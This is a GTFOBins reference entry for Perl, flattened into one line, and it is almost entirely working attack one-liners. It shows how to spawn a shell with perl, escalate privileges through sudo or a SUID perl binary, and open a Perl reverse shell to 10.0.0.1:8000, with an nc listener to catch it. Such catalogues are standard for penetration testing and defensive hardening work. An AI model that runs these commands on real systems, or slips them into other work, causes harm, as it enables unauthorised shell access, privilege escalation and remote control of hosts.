GTFOBins.github.io/_gtfobins/perl.md

functions

exec-interactive sudo-enabled suid-enabled reverse-shell code perl -e 'exec "/bin/sh";' code sudo perl -e 'exec "/bin/sh";' code ./perl -e 'exec "/bin/sh";' description code Run `nc -l -p 8000` to receive the shell on the other end. export RHOST=10.0.0.1 export RPORT=8000 perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'